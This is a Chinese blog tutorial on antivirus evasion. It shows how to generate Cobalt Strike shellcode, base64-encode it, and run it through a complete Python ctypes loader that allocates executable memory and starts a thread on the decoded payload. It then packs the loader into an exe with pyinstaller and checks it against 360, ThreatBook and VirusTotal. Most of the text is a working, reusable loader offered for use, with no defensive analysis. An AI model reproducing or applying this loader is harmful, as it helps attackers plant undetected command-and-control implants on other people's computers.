免杀 – shellcode简单混淆BypassAv
文章来源:重生信息安全
前言
在进行渗透测试过程中,往往会遇到主机有杀软,导致我们的木马被查杀,那么我们就得想办法绕过杀软进行上线Cobalt strike 或者 Metasploiit
环境:Cobalt strike 4.1Pythonpyinstaller
何为shellcode?
百度百科是这样介绍它的:“shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名”
何为shellcode混淆?
其实就是把我们的shellcode进行加密:如base64,AES等等
实现过程
1、生成shellcode2、把shellcode加密3、构造shellcode加载器4、shellcode加载器把我们加密过后的shellcode解密5、执行程序,上线C2
下面我也直观的列举了一幅图来说明,如下
利用cobalt strike生成shellcode
生成Python shellcode x64
会得到这样一个内容文件
简单处理payload.py shellcode文件
1、你可以直接把双引号里面的内容复制出来2、写代码提取出来这里我用的第二种,附自己写的垃圾代码
这样就能简单处理我们的shellcode文件
对我们提取出来的shellcode进行加密
这里我使用base64加密1、可以直接使用在线的base64网站加密
https://base64.us/
2、自写代码进行加密这里使用Python base64库,附代码
# coding=utf-8import base64# 读取shellcode文件shellcode = open('payload.py')shellcode = shellcode.read()# 取出shellcode内容s1 = shellcode.find(""")+1s2 = shellcode.rfind(""")shellcode = shellcode[s1:s2]# print(shellcode)
# 把shellcode base64加密并写入base64.txt文件base64_shellcode = base64.b64encode(shellcode.encode('UTF-8'))with open('base64.txt', 'wb') as shell: shell.write(base64_shellcode)编写加载器
这里直接附代码
import base64
import codecs
import ctypesshellcode = ""shellcode = base64.b64decode(shellcode)
shellcode = codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64# 申请内存ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))# 创建一个线程从shellcode放置位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))# 等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))把我们加密过后的shellcode放进shellcode = ""里
测试,能否上线
利用pyinstaller打包成exe
pyinstaller -F bypassav.py -w
![]()
生成exe
![]()
测试能否上线
测试免杀率
1、本地360
![]()
2、微步在线
3、VT查杀
结尾
这篇只是一个引子,大家还可以考虑1、对我们生成的exe再进行混淆2、分离shellcode
后续有时间会给大家写一篇分离shellcode,上述过程皆可进行自动化生成,我已经实现到自己的平台了